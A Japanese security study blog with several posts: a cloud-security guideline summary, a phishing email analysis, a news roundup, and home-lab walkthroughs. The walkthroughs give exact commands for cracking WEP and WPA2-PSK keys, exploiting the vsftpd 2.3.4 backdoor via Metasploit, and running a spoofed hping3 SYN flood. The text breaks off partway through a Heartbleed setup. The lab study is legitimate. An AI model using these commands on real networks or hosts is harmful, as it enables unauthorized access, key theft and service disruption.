家studyをつづって

IT技術やセキュリティで勉強したことをつづっています。

「クラウドサービス利用のための情報セキュリティマネジメントガイドライン」の概要

クラウドサービス利用のための情報セキュリティマネジメントガイドライン

発行機関:経済産業省
発行年:2013年

参考

www.meti.go.jp

https://www.meti.go.jp/policy/netsecurity/downloadfiles/cloudsec2013fy.pdf

 

 

 

概要

「クラウドサービス利用のための情報セキュリティマネジメントガイドライン」は、クラウドサービスの利用増加にあたってのセキュリティ検討事項をまとめたもので、クラウドの安全な利用を促し、「クラウド利用者と事業者における信頼関係の強化に役立てる」ことを目的に公開されたガイドラインです。

 

「クラウドサービス利用のための情報セキュリティマネジメントガイドライン」の位置づけ

以下は序文より抜粋したものです。

国内の組織の情報セキュリティには,国際的な規格(ISO/IEC 27002:2005)に準拠したJIS Q 27002:2006 情報技術―セキュリティ技術―情報セキュリティマネジメントの実践のための規範(以下「JIS Q 27002(実践のための規範)」という。)に基づく管理策の実施が推奨されており,実際に多く利用されている。

JIS Q 27002(実践のための規範)には,第三者の提供するサービスの利用に関する管理策があるが,組織がITを所有せずに全面的にクラウドコンピューティングを利用する場合には,この管理策が求める事項だけでは組織の情報セキュリティを確保するためには不足があるのが実情である。

そのため,クラウド利用者の視点からJIS Q 27002(実践のための規範)の各管理策を再考し,クラウドコンピューティングを利用する組織においてこの規格に基づいた情報セキュリティ対策が円滑に行われることを目的として,このガイドラインを作成した。

このガイドラインには,組織がクラウドコンピューティングを全面的に利用する極限状態を想定し,
①自ら行うべきこと,②クラウド事業者に対して求める必要のあること,さらに,③クラウドコンピューティング環境における情報セキュリティマネジメントの仕組みについて記載している。

組織において,このガイドラインを参考にクラウドコンピューティングに対応した情報セキュリティの仕組みを整備するとともに,クラウド利用者のみで行うことができない管理策を認識し,クラウド利用者がクラウド事業者に対して様々な情報を求める必要がある。

 

「クラウドサービス利用のための情報セキュリティマネジメントガイドライン」は、JIS Q 27002に基づきクラウド利用にあたっての管理策をまとめたものであり内容的にはJIS Q 27017にも関連するものです。

 

参考:JIS Q 27017

この規格は,2015年に第1版として発行されたISO/IEC 27017を基に,技術的内容及び構成を変更することなく作成した日本工業規格である。
この規格で規定する指針は,JIS Q 27002に規定する指針に追加し,これを補うものである。

https://kikakurui.com/q/Q27017-2016-01.html

 

Salesforceの一件に関連すると思う項目

Salesforce利用ユーザで発生したインシデント

Salesforceは2020年12月25日に、製品を利用しているユーザにおいて、設定ミスに起因した情報漏えいが発生していることを発表しました。

対象となる製品は「Experience Cloud(旧 Community Cloud)」「Salesforceサイト」「Site.com」で、外部のユーザに情報共有する際に、設定が適切でないと第三者からも情報を閲覧される恐れがあるといものです。
上記の件では楽天、PayPayでの被害が報じられています。

Salesforceでは、ゲストユーザセキュリティポリシーのベストプラクティスを参考にし、設定を確認することを推奨しています。

 

ベストプラクティス

help.salesforce.com


なお、上記の設定不備を検証できるツールも公開されているようです。

 

解説サイト:Salesforce Lightning Platformへの攻撃手法について

Salesforce Lightning Platformへの攻撃手法について | by monii | Dec, 2020 | Medium


PoC

github.com

 

ガイドラインに示されている指針

当該ガイドライン内「12.5 開発及びサポートプロセスにおけるセキュリティ」には以下のような記載がありました。

「12.5 開発及びサポートプロセスにおけるセキュリティ」
目的:業務用ソフトウェアシステムのソフトウェア及び情報のセキュリティを維持するため。

プロジェクト及びサポート環境は,厳しく管理することが望ましい。業務用ソフトウェアシステムに責任をもつ管理者は,プロジェクト又はサポート環境のセキュリティにも責任を負うことが望ましい。
変更によってシステム又は運用環境のセキュリティが損なわれないことを点検するために,管理者は,提案されているすべてのシステム変更のレビューを,確実にすることが望ましい。

「12.5.1 変更管理手順」


管理策

変更の実施は,正式な変更管理手順の使用によって,管理することが望ましい。

クラウド利用者のための実施の手引
クラウド利用者は,変更管理手順にクラウドサービスに関する内容を追加することが望ましい。

クラウド事業者の実施が望まれる事項
クラウド事業者は,クラウドサービスの変更に関して,必要に応じて次の事項を実施することが望ましい。
a)システム変更の実施に関するクラウド利用者への通知
b)システム機能の追加・変更に関するクラウド利用者への通知
c)ソフトウェアの更新についての版数の管理
d)システム変更についての監査証跡・変更履歴の管理及び利用者への提示

クラウドサービスの関連情報
クラウドサービスの利用においてはスケーラビリティの確保が十分になされているとはいえ,マルチテナントであることを考慮すれば,ある一定時期に十分なサービスが得られない場合があることに留意すること。また,IaaSやPaaSの契約形態においては自動的に帯域を確保する機能を有していないものもある。スケーラビリティ以外の変更管理においても同様に,自動化されたシステムに依存せずに,クラウド利用者自らが管理できる手順を明確にすることが期待される。

 

利用者側の管理策として、システム変更がある場合のレビューが示されています。
これがSalesforceの件に関して、利用者側としての確認に関連すると見れます。
ただし実際の問題として、管理者がそこまで追従するのは難しいのが現状ではないかと思います。

 

対策となると思われるソリューション

クラウドの設定を調査するようなサービスはいくつか提供されているようです。
サービスの内容までは把握できていませんが、以下のようなサービスで対応しているクラウドサービスであれば、Saleforceの件の対策案の一つになるかもしれません。
ゆくゆくはCSPMも対応できるソリューションになるのでしょうか。

 

ソリューションの例

ascii.jp

www.kccs.co.jp

 

参考にさせていただいたサイト

news.yahoo.co.jp

 

news.yahoo.co.jp

 

piyolog.hatenadiary.jp

 

 

 

 



WEPのパスワード解析(ARP再送攻撃)

概要

前回の内容ではWEPで大量に通信している端末がある前提で、やり取りされる通信をひたすら収集し、収集したデータよりキーを解析する方法でした。
※前回は無線端末はYoutubeを視聴することで大量の通信を行っていました。

今回は無線端末はそこまで通信を行っていない状態から、通信を意図的に発生させてデータを収集するARP再送攻撃(ARP replay)を行います。
収集したデータからキーを解析することは前回の内容と同じですが、今回の内容は攻撃端末(Kali Linux)より、 意図的に通信を発生させることがポイントになります。

 

 

 

ARP再送攻撃について

f:id:iestudy:20210105222927p:plain

ARP再送攻撃のイメージ

https://www.soumu.go.jp/main_content/000519240.pdf

 

環境設定

無線APの設定

※設定箇所は太字です。

ap#terminal length 0
ap#sh run
Building configuration...

Current configuration : 1358 bytes
!
version 12.3
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname ap
!
enable secret 5 $1$H2QI$/SpgS6fOs8OufZ6RzhjQV1
!
ip subnet-zero
!
!
no aaa new-model
!
dot11 ssid test-wep
authentication open
guest-mode
!
!
!
username Cisco password 7 062506324F41
!
bridge irb
!
!
interface Dot11Radio0
no ip address
no ip route-cache
!
encryption key 1 size 40bit 7 FA1E467E23EA transmit-key
encryption mode wep mandatory
!
ssid test-wep
!
speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0
channel least-congested 2412 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472
station-role root
bridge-group 1
bridge-group 1 subscriber-loop-control
bridge-group 1 block-unknown-source
no bridge-group 1 source-learning
no bridge-group 1 unicast-flooding
bridge-group 1 spanning-disabled
!
interface FastEthernet0
no ip address
no ip route-cache
duplex auto
speed auto
bridge-group 1
no bridge-group 1 source-learning
bridge-group 1 spanning-disabled
!
interface BVI1
ip address 192.168.1.252 255.255.255.0
no ip route-cache
!
ip http server
no ip http secure-server
ip http help-path http://www.cisco.com/warp/public/779/smbiz/prodconfig/help/eag
!
bridge 1 route ip
!
!
!
line con 0
line vty 0 4
login local
!
end

※コンフィグ上はWEPキーは暗号化されて「encryption key 1 size 40bit 7 1C3A6F2CBFBC transmit-key」のように表示されますが、実際設定時は「encryption key 1 size 40bit 0 1234567890 transmit-key」で設定しています。

 

実行結果

youtu.be

実行したコマンド

動画内で実行したコマンドは以下の通りです。

  • sudo airmon-ng start wlan0
  • sudo airodump-ng wlan0mon
  • sudo airodump-ng -c 8 --bssid 00:0F:8F:44:21:80 -w test-arp wlan0mon
  • sudo aireplay-ng -3 -b 00:0F:8F:44:21:80 -h b8:27:eb:a6:2e:cd wlan0mon
    「-3」はARP-Replay攻撃を行うモードです。
    その他にも認証要求を偽装する「--fakeauth」といったモードもあります。
  • sudo aircrack-ng test-fakeauth-01.cap

参考にさせていただいたサイト

↓はすごく勉強になりました。ありがとうございます。

https://www.soumu.go.jp/main_content/000519240.pdf

 

nippo-corporation.co.jp

cysec148.hatenablog.com

https://nekopippi.tumblr.com/post/166952580364/wep%E3%81%AE%E9%8D%B5%E5%BE%A9%E5%85%83

nekopippi.tumblr.com

medium.com

 

 

「d-card」に関連したフィッシングメール

概要

「NTTカード重要なお知らせ」という件名のメールが届きました。
そもそも、NTTカードというものを利用していないので、これはフィッシングメールです。今回は届いたメールの内容を見てみました。

 

 

 

メールの内容

f:id:iestudy:20201229224142p:plain

フィッシングメールの文面


一見するとそれらしい文章が並んでいるように見えますが、おかしな敬語や文章がつながっていない部分がいくつもあります。

また、文章内のリンクは正規のサイトのように見えますがテキスト表示してみると不正なURLにリンクされています。

 

文面をテキスト表示した結果

<br>ご利用確認はこちら<br>
<br><a href="https://d-card.lol/" target="_blank" rel="noreferrer">https://d-card.jp/st/

 

f:id:iestudy:20201229224309p:plain

VirusTotalでの検索結果

www.virustotal.com

参考:「.lol」ドメインについて

lolドメインは知らなかったので調べてみました。

「lol」は「laugh out loud」の略で、日本では「(笑)」「w」の意味に近いとされています。

japan.cnet.com

 

これは、皮肉なのかな。。。

 

フィッシングサイトの様子

youtu.be

※フィッシングサイトへのアクセスはマルウェアに感染する場合もあるので、アクセスには注意が必要です。

www.ipa.go.jp

 

 

 

 

 

2020年12月のIT・セキュリティトピック

2020年12月に気になったニュースをまとめます。

 

 

 

記事の投稿日 概要
2020/12/01 Digitally Signed Bandook Trojan Reemerges in Global Spy Campaign
2020/12/01 Gootkit malware returns to life alongside REvil ransomware
2020/12/01 Microsoft Defender for Identity now detects Zerologon attacks
2020/12/01 内閣サイバーセキュリティセンター、ランサムウエアによるサイバー攻撃について注意喚起
2020/12/01 ソフトウェア出荷判定セキュリティ基準チェックリストをバージョンアップ
2020/12/01 クラウドストライク、2020年度版「グローバルセキュリティ意識調査」の結果を発表
2020/12/01 デジタルアーツのクラウドセキュリティサービスが「ISO/IEC 27017」の認証を取得
2020/12/01 「税金関連のネット詐欺」を米国の最新事例から学ぶ 国内でも国税庁を騙る手口が発生
2020/12/01 脱PPAP宣言から4日、行政機関で3件のメール誤送信発生。新型コロナウイルス感染者情報も誤送信
2020/12/01 vantiがMobileIronとPulse Secureを買収し、 あらゆる場所の企業のすべてのデバイスに ...
2020/12/01 国内600組織にサイバー攻撃 テレワーク機器に欠陥、岐阜県庁など被害
2020/12/02 オーストラリアの大手仮想通貨取引所、顧客のフルネームとメールアドレスを誤って公開
2020/12/03 K12 online schooling giant pays Ryuk ransomware to stop data leak
2020/12/02 CT撮影を邪魔された 福島医大病院、過去のランサムウェア被害を公表 情報流出は確認されず
2020/12/03 感染広げるXantheマルウェア、誤った構成のDockerサーバが拡散の原因に
2020/12/03 ペンタセキュリティ、2020年上半期Webアプリケーション脅威分析レポートを公開
2020/12/03 通販サイト顧客情報流出 みかづき、不正アクセスで最大464件分 /新潟
2020/12/02 ゲームで使用の通貨不正購入疑い
2020/12/03 法人パートナー向けサイトでアカウント情報が流出か - パナソニック関連会社
2020/12/03 正規署名で検知回避する「SigLoader」 - VPN経由の標的型攻撃で悪用
2020/12/03 ソフォス、2021年版脅威レポートを公開、ランサムウェアやその他の深刻なサイバー攻撃が2021年 ...
2020/12/04 新型コロナワクチンの流通網を狙う世界規模のフィッシング攻撃をIBMが警告
2020/12/04 ニトリ公式通販を装った偽サイトに注意。「極端に安い」「不自然な日本語」
2020/12/04  
2020/12/04 キャッシュレス決済連携でガイドライン - 全銀協
2020/12/04 アクロニスがサイバー脅威レポートを発表、2021年は「強請の年」になると予測
2020/12/04 ランサム感染で顧客プログラム資産が流失した可能性 - システム開発会社
2020/12/04 「ディスカバー鹿児島」の個人情報5万7千件あまり流出 イベント管理アプリに不正アクセス
2020/12/05 日立システムズに不正アクセス 顧客企業に被害のおそれも
2020/12/05 不正アクセスで閉鎖 長崎市「平和・原爆」HP
2020/12/04 11月の月間フィッシング報告件数、ついに3万件を突破|フィッシング対策協議会
2020/12/07 PayPay、加盟店に関する営業情報への不正アクセスを確認
2020/12/07 JC3、銀行などを騙った詐欺SMS・Webサイトに注意呼びかけ
2020/12/07 個人情報21万件 サーバ紛失 ハンドレッドステイ 東京新宿 オリックス・ホテルマネジメント 日本 ...
2020/12/08 「EXILE TRIBE」の公式通販サイトでクレカ情報流出 - 一部不正利用も
2020/12/09 サイバーセキュリティ企業FireEye、“国家による”攻撃で診断ツールを盗まれたと発表
2020/12/08 熊切あさ美、SNS乗っ取り被害 通販サイトに不正アクセス未遂「カード怖くて止めました」
2020/12/07 「UCSカード」装うフィッシング - 取り引き確認とだます手口
2020/12/08 「オリコ」をかたるフィッシングメールに注意、「eオリコサービス」ログインページを巧妙に偽装 ...
2020/12/09 問い合わせフォームへの攻撃急増 詐欺メールの“送信元”に
2020/12/09 「Vプリカ」アプリ一時停止 不正アクセスで
2020/12/09 情報流出を狙った攻撃が5割超 - 脆弱性探索も
2020/12/09 Apache Struts 2」にRCE脆弱性が判明 - アップデートがリリース
2020/12/10 APT攻撃が新たな脅威の様相と攻撃戦略の変化を見せ、日本を狙うAPT攻撃も進化し増加すると予測 - PR TIMES
2020/12/10 「FileZen」脆弱性、悪用でOSコマンド実行のおそれ - 追加アップデートも
2020/12/10 【速報】琉球銀行の偽メール、1500万円被害確認 パスワード入力しないで /沖縄
2020/12/10 SMSを使ったフィッシング詐欺「スミッシング」が拡大中
2020/12/08 大阪大に不正アクセス 4万人の個人情報漏えいか
2020/12/10 EU医薬品規制当局にサイバー攻撃 ワクチン資料に不正アクセス
2020/12/10 ゆうちょPayで12月10日に不具合が発生、一時利用不可に
2020/12/10 交通局ツイッターに不正アクセス
2020/12/11 ネットバンキング不正被害 最多19件 SMS悪用が増加 沖縄県警が注意呼び掛け
2020/12/11 サイバー攻撃の被害額、8割超が100万円未満 - 日本損保協会調査
2020/12/11 COVID-19をルアーに使ったフィッシングでマルウェア「Zebrocy」感染のおそれ
2020/12/12 三菱パワーの不正アクセス、日立システムズ経由で侵入
2020/12/12 サイバーセキュリティに関するグローバル動向四半期レポート(2020年7月~9月)を公開
2020/12/14 新型コロナ便乗やランサムウェアの脅迫、2021年はさらに激化も セキュリティ企業が予測
2020/12/14 バラクーダネットワークスジャパン株式会社:メールセキュリティ: 2020年版メール攻撃の脅威と ...
2020/12/14 Googleで障害 GmailやYouTubeなど複数サービスが使えず
2020/12/15 エフセキュア、サイバー脅威を取り巻く環境に関する2020年の総括および2021年の予測を発表
2020/12/15 NRIセキュア、「企業における情報セキュリティ実態調査2020」を実施
2020/12/15 管制トラブル、サーバー部品原因 不正アクセスの痕跡なし、国交省
2020/12/14 Okta、2021年における5つのセキュリティトレンド予測を発表 新領域の成長も
2020/12/16 総連HPにウイルス疑い 警視庁、韓国籍の元学生書類送検
2020/12/16 SAP、セキュリティアップデートで12件の脆弱性に対処
2020/12/21 カザフスタン政府発行のルート証明書、中間者攻撃が判明して各社ブラウザーにブロックされる
2020/12/21 水道利用者のクレカ情報含む書類が所在不明 - 札幌市水道局
2020/12/21 情報を外部に送信している? 疑惑のWebブラウザ「Smooz」が配信停止に
2020/12/22 Dark Web Pricing Skyrockets for Microsoft RDP Servers, Payment-Card Data
2020/12/22 Zero-Click Apple Zero-Day Uncovered in Pegasus Spy Attack
2020/12/22 クラウド利用が進まぬ日本、原因はユーザー企業の勉強不足だけではない
2020/12/22 サーバーの95%が暗号化の被害に 未知マルウエアの感染に気づけず
2020/12/22 福岡市職員が書類送検、ファイル共有ソフトで児童ポルノ動画拡散
2020/12/22 経済産業省、経営者へサイバー攻撃の注意喚起
2020/12/22 プルーフポイント、2021年注目の7つのセキュリティ予測発表
2020/12/21 ブルームバーグ:世界のさまざまな200超の団体を標的に大規模サイバー攻撃
2020/12/21 不正アクセスで「レール&レンタカー」予約者のメアド流出
2020/12/22 SolarWinds製品を悪用した攻撃、感染したとみられる組織のリストが公開
2020/12/22 12月21日より「Emotet」感染メール増加 - あらためて警戒を
2020/12/23 「マダナビ」のシナリオ登録者に口コミ投稿ユーザーの情報をシステムが自動送信
2020/12/23 「Smooz」のユーザー情報取扱、社長自らアプリの挙動を解説 釈明
2020/12/23 不正送金被害が大幅減 - 被害額は前四半期の半数以下に
2020/12/23 PayPay 営業データベースのアクセス権が外れて不正アクセス被害
2020/12/23  
2020/12/23 欧米の法執行機関、サイバー犯罪者愛用のVPNを差し押さえ、ユーザー特定
2020/12/23 マイクロソフトやマカフィーなど19組織、ランサムウェア対策連合を結成
2020/12/23 アクセンチュア最新調査――政府系ハッカーやランサムウエア犯罪者の攻撃手口が多様化し、被害 ...
2020/12/23 PCパーツ通販に不正アクセス - クレカ情報流出、悪用された可能性
2020/12/24 IPAがシステム開発のモデル契約書 第二版公開、セキュリティ仕様書の作成プロセスを明確化
2020/12/24 Microsoft版 2020年セキュリティ動向 総括
2020/12/24 北朝鮮軍偵察総局傘下と推定されるハッカー、延世大医療院のフィッシングサイト開設
2020/12/24 米政府、中国政府と関連あるデータサービス利用のリスクについて米企業に警告
2020/12/24 楽天で最大148万件の顧客情報が流出か、セールスフォースのシステム設定を誤る

 

 

coWPAttyでPSKを解読する

概要

coWPAttyは無線LANのPSK方式で使用するパスワードの解析が可能なツールです。
WPA2-PSK方式では、無線接続時の認証手続き(4way handshake)が収集できれば、
辞書攻撃によりパスワードを解析することが可能です。
今回はcoWPAttyを使用してPSKを解析してみます。

 

 

 

WPA2-PSKに関して

WPA2-PSKはWPA2パーソナルとも呼ばれ、端末と無線APで事前に設定されている共通のパスフレーズを使って認証する方式です。

 

f:id:iestudy:20201224090159p:plain

PSK認証の仕組み(4way handshake)

 

これに対してWPA2にはWPA2-EAP(WPA2エンタープライズ)と呼ばれる認証方式もあります。WPA2-EAPではEAPを使い認証サーバによる認証を行います。

無線LANの通信では複数の暗号化鍵を使用して行います。
それらの暗号化鍵を生成するための元となる鍵としてMSK(Master Session Key)と呼ばれるものがあり、WPA2エンタープライズとWPA2パーソナルではMSKの生成方法に違いがあります。

 

WPA2-EAP
認証サーバにより、端末ごとに個別のMSKが生成されます。EAP認証が成功した後、生成されたMSKが端末に送信されます。
端末は受け取ったMSKをもとにPMKを生成します。
 

WPA2-PSK

認証で使用するPSKを元にMSKを作成します。
そのため、WPA2-PSKにおいては同一のSSIDに接続する端末はすべて同じPMKを使用することになります。

 

WPA2-EAPではMSKの生成を認証サーバと連携して行いますが、WPA2-PSKではMSKの生成の手順が簡略化されていることがわかります。

また、認証後に行われる4way handshake(上の図)ではPMKを基に、4way handshake内でやり取りされる情報(MACアドレスや乱数(Nonce))を使って通信暗号化のための情報を生成します。
そのため、WPA2-PSKでは4way handshakeの通信を傍受することで、PSKを推測するための情報が収集でき、辞書攻撃によるパスワード解析が可能となります。

 

※上記のため、IPAや総務省ではWPA2-PSKのパスワードに関しては一定の長さ以上で設定することを推奨しています。(総務省のリンクは一番下に記載)

www.ipa.go.jp

 

環境設定

以前構築したKali Linuxの環境で行いました。環境の構成イメージは以下の通りです。

f:id:iestudy:20201224093849p:plain

評価環境のイメージ

無線AP設定

無線APはCisco Aironet1231Gを使いました。
以下は今回のコンフィグです。(太字は設定箇所)

ap(config)#do sh run
Building configuration...

Current configuration : 1307 bytes
!
version 12.3
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname ap
!
enable secret 5 $1$v/e.$SRddakbaoDQsL53TO2r0B/
!
ip subnet-zero
!
!
no aaa new-model
!
dot11 ssid test-psk
authentication open
authentication key-management wpa
guest-mode
wpa-psk ascii 7 095C4F1A0A1218000F
!
!
!
username Cisco password 7 01300F175804
!
bridge irb
!
!
interface Dot11Radio0
no ip address
no ip route-cache
!
encryption mode ciphers aes-ccm tkip
!
ssid test-psk
!
speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0
channel 2437
station-role root
bridge-group 1
bridge-group 1 subscriber-loop-control
bridge-group 1 block-unknown-source
no bridge-group 1 source-learning
no bridge-group 1 unicast-flooding
bridge-group 1 spanning-disabled
!
interface FastEthernet0
no ip address
no ip route-cache
duplex auto
speed auto
bridge-group 1
no bridge-group 1 source-learning
bridge-group 1 spanning-disabled
!
interface BVI1
ip address 192.168.1.252 255.255.255.0
no ip route-cache
!
ip http server
no ip http secure-server
ip http help-path http://www.cisco.com/warp/public/779/smbiz/prodconfig/help/eag
!
bridge 1 route ip
!
!
!
line con 0
line vty 0 4
login local
!
end

 ※コンフィグ上はPSKは暗号化されて「wpa-psk ascii 7 095C4F1A0A1218000F」のように表示されますが、設定時は「wpa-psk ascii 0 password」で設定しています。

 

実行結果

実際の攻撃の様子を動画にまとめました。

 

youtu.be

 

実行したコマンド

①4way handshakeのパケット収集

  • sudo airmon-ng start wlan0
  • iwconfig
  • sudo airodump-ng wlan0mon
  • sudo airodump-ng -c 6 --bssid 00:0F:8F:44:21:80 -w test-psk wlan0mon

 

②レインボーテーブルによるパスワード解析

  • genpmk -f list -d test-rainbow -s test-psk
    レインボーテーブルの生成
    -f:辞書を指定
    -d:生成したレインボーテーブルのファイル名の指定
    -s:対象となるSSIDの指定
  • cowpatty -r test-psk-01.cap -d test-rainbow -s test-psk
    -r:4way handshakeが含まれているパケットキャプチャファイル
    -d:使用するレインボーテーブルの指定

 ※なお、動画には含まれていませんが、辞書による解析を行う場合は以下のコマンドで解析が可能です。

  • cowpatty -r test-psk-01.cap -f list -s test-psk

 

参考にさせていただいたサイト

licensecounter.jp

http://www.cse.hut.fi/fi/opinnot/T-110.5240/2009/luennot-files/Lecture%205.pdf

pubinf.blog.jp

http://www.intellilink.co.jp/sites/default/files/imported/solutions/security/article/vulner/pdf/report20171019.pdf

tools.ietf.org

www.cwnp.com

nw.seeeko.com

https://www.soumu.go.jp/main_content/000199320.pdf

 

 

 

 

Aircrack-ngによるWEPのパスワード解析

概要

無線LANの暗号方式「WEP」には脆弱性があります。今回はAircrack-ngというツールを使ってWEPのパスワードを解析します。

 

 

 

WEPの脆弱性について

WEPの概要

WEP(Wired Equivalent Privacy)は、無線LANの暗号化方式で、「共通鍵」を使用して通信の暗号化を行います。

f:id:iestudy:20201213220549p:plain

WEPの暗号化方式

※WEPでは「RC4」という暗号アルゴリズムを使って暗号化を行います。
RC4は共通鍵で暗号化/複合を行うストリーム暗号です。

ja.wikipedia.org

 

WEPの脆弱性

WEPの脆弱性は共通鍵の生成方法にあります。

  • 共通鍵のもとになるWEPキーが鍵が同じであること
  • 共通鍵に含まれるIVは暗号化されずにデータに付加されて送られること
  • 共通鍵長が104bitもしくは40bitで解読されやすいこと

上記脆弱性のため、無線APと端末間でやり取りされている通信を収集することでWEPキーを解析することができます。

 

環境設定

今回は以前構築したKali Linuxの環境で行いました。環境の構成イメージは以下の通りです。

f:id:iestudy:20201213224752p:plain

評価環境のイメージ

 

無線APの設定

無線APは以前ほかの人よりいただいたCisco Aironet1231Gを使いました。

以下は今回のコンフィグです。(太字は設定箇所)

ap#sh run
Building configuration...

Current configuration : 1360 bytes
!
version 12.3
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
service password-encryption
!
hostname ap
!
enable secret 5 $1$/L4D$2vOPmpdjIdJz6/emIwI1b0
!
ip subnet-zero
!
!
no aaa new-model
!
dot11 ssid test-wep
authentication open
guest-mode
!
!
!
username Cisco password 7 106D000A0618
!
bridge irb
!
!
interface Dot11Radio0
no ip address
no ip route-cache
!
encryption key 1 size 40bit 7 1C3A6F2CBFBC transmit-key
encryption mode wep mandatory
!
ssid test-wep
!
speed basic-1.0 basic-2.0 basic-5.5 6.0 9.0 basic-11.0 12.0 18.0 24.0 36.0 48.0 54.0
channel least-congested 2412 2417 2422 2427 2432 2437 2442 2447 2452 2457 2462 2467 2472
station-role root
bridge-group 1
bridge-group 1 subscriber-loop-control
bridge-group 1 block-unknown-source
no bridge-group 1 source-learning
no bridge-group 1 unicast-flooding
bridge-group 1 spanning-disabled
!
interface FastEthernet0
no ip address
no ip route-cache
duplex auto
speed auto
bridge-group 1
no bridge-group 1 source-learning
bridge-group 1 spanning-disabled
!
interface BVI1
ip address 192.168.1.252 255.255.255.0
no ip route-cache
!
ip http server
no ip http secure-server
ip http help-path http://www.cisco.com/warp/public/779/smbiz/prodconfig/help/eag
!
bridge 1 route ip
!
!
!
line con 0
line vty 0 4
login local
!
end

 ※コンフィグ上はWEPキーは暗号化されて「encryption key 1 size 40bit 7 1C3A6F2CBFBC transmit-key」のように表示されますが、実際設定時は「encryption key 1 size 40bit 0 1234567890 transmit-key」で設定しています。

 

実行結果

実行結果としてKali Linuxのコンソールを動画にまとめました。

youtu.be

 

実行したコマンド

  • sudo airmon-ng start wlan0
    (Kali Linuxの無線インタフェースをモニタ化)
  • sudo airodump-ng wlan0mon
    (キャプチャした無線の情報を表示)
  • sudo airodump-ng --channel 対象のチャネル --bssid 対象のMACアドレス -w 出力ファイル名 wlan0mon
    (解析対象のSSIDを指定)
  • aircrack-ng 出力されたファイル.cap
    (収集したファイルからWEPキーを解析)

 

参考にさせていただいたサイト

www.fenet.jp

 

ja.wikipedia.org

vsftpd2.3.4のバックドアを試してみた

概要

vsftpdはLinuxで使われるFTPサーバです。
2011年7月に、ダウンロードサイト上にあるvsftpd2.3.4が侵害され、リモートから任意のコードの実行を可能にするバックドアが仕込まれていることが確認されました。

 

 

 

※現在、上記問題は修正されており、ダウンロードサイトもGoogleに移動されました。

security.appspot.com

 

バックドアは、vsftpdに「:)」を含むユーザ名で接続した際にTCP/6200で接続を待ち受ける動作をします。

実際の動作の様子を動画にまとめました。

 

環境

以前構築した環境で、 Kali Linuxよりmetasploitable2に攻撃してみます。

 

実行結果

動画内では画面左側のKali Linuxよりmetasploitable2に対して攻撃を行います。
最終的にKali LinuxよりTCP/6200でmetasploitbale2接続し、metasploitbale2のコマンドを実行できることが確認できました。

 

 

Kali Linux側での実行コマンド

  • nmap -sV -p 21 192.168.1.222(metasploitable2に対する偵察)
  • search vsftpd
  • info
  • set RHOSTS 192.168.1.222
  • show payloads
  • set PAYLOAD cmd/unix/interact 

 

参考にさせていただいたサイト

www.intellilink.co.jp

docs.rapid7.com

 

en.wikipedia.org

 

 

 

hpingを使ったDoS攻撃

概要

hpingはオープンソースのパケットジェネレーターです。 hpingを使うことで、任意のTCP/IPパケットを送信することができます。 今回はhpingを使ってSYN Floodを実行してみました。

 

 

 

環境

以前構築したKali Linuxの検証環境で、 Kali Linux上でhpingを実行し、metasploitable2にSYN Floodを行ってみます。

 

実行結果

youtu.be


上記動画で実行したコマンドは以下の通りです。

Kali Linux側での実行コマンド

hping3 -i u1 -S -p 80 192.168.1.222 --rand-source

オプションの説明は以下の通りです。

  • -S :SYNパケットの送信
  • -p 80 :宛先ポートの指定(今回はTCP/80)
  • -i u1 :1マイクロ秒間隔でパケットを送信する
  • --rand-source :送信元IPアドレスをランダムに偽装

metasploitable2側での実行コマンド

netstat -tan

オプションの説明は以下の通りです。

  • -t :TCPの接続状況を確認
  • -a :すべてのユーザの接続状況を確認
  • -n :名前解決をしない。

※「-n」を指定しない場合だと送信元IPアドレス毎に名前解決を行うため、結果の表示まで時間がかかる場合があります。

 

metasploitable2側は攻撃を受けた際の状態確認を行っています。

SYN Floodを受けた場合の特徴として、netstatの結果に大量の「SYN_RECV」が表示されることがあります。

通常の場合TCPの3way-handshakingは一瞬で終わるので、SYN_RECVの状態が残る事は多くはありません。

 

 

 

OpenSSLの脆弱性「HeartBleed」を試してみた

概要

HeartBleedの脆弱性を試す機会があったので、脆弱性の内容についてまとめてみます。

 

 

 

「Heartbleed」とは、暗号化通信に使われる「OpenSSL」の脆弱性です。
HeartBleedはSSL/TLSのハートビート実装の脆弱性で、攻撃されると脆弱性を含んだOpenSSLのライブラリを使用しているサーバ上で、65,535バイトまでのメモリの内容が窃取されます。ただし、メモリ上でアクセスできる場所は選択できないため、窃取した情報が役に立たない場合もあります。

メモリにはデータの暗号化で使用する秘密鍵の情報等が含まれている場合があるため、そのような情報が窃取された場合は暗号化通信を解読される恐れがあります。

 

対象のバージョン

以下のバージョンが本脆弱性の影響を受けます。

  • OpenSSL 1.0.1 から 1.0.1f
  • OpenSSL 1.0.2-beta から 1.0.2-beta1

 

脆弱性への攻撃

実行環境

今回はKali Linuxより攻撃を行いました。

www.iestudy.work

 

攻撃対象はCentOS6.5としました。

実行したコマンド等

必要なパッケージインストール

yum install httpd
yum install mod_ssl

秘密鍵の作成

openssl genrsa 2048 > server.key

CSR証明書の発行

openssl req -new -key server.key > server.csr

証明書の発行

openssl x509 -days 365 -req -signkey server.key < server.csr > server.crt

SSLの設定

vi ssl.conf ※以下、赤字の部分を修正しました。

[root@localhost conf.d]# cat ssl.conf
#
# This is the Apache server configuration file providing SSL support.
# It contains the configuration directives to instruct the server how to
# serve pages over an https connection. For detailing information about these
# directives see <URL:http://httpd.apache.org/docs/2.2/mod/mod_ssl.html>
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are unsure
# consult the online docs. You have been warned.
#

LoadModule ssl_module modules/mod_ssl.so

#
# When we also provide SSL we have to listen to the
# the HTTPS port in addition.
#
Listen 443

##
## SSL Global Context
##
## All SSL configuration in this context applies both to
## the main server and all SSL-enabled virtual hosts.
##

# Pass Phrase Dialog:
# Configure the pass phrase gathering process.
# The filtering dialog program (`builtin' is a internal
# terminal dialog) has to provide the pass phrase on stdout.
SSLPassPhraseDialog builtin

# Inter-Process Session Cache:
# Configure the SSL Session Cache: First the mechanism
# to use and second the expiring timeout (in seconds).
SSLSessionCache shmcb:/var/cache/mod_ssl/scache(512000)
SSLSessionCacheTimeout 300

# Semaphore:
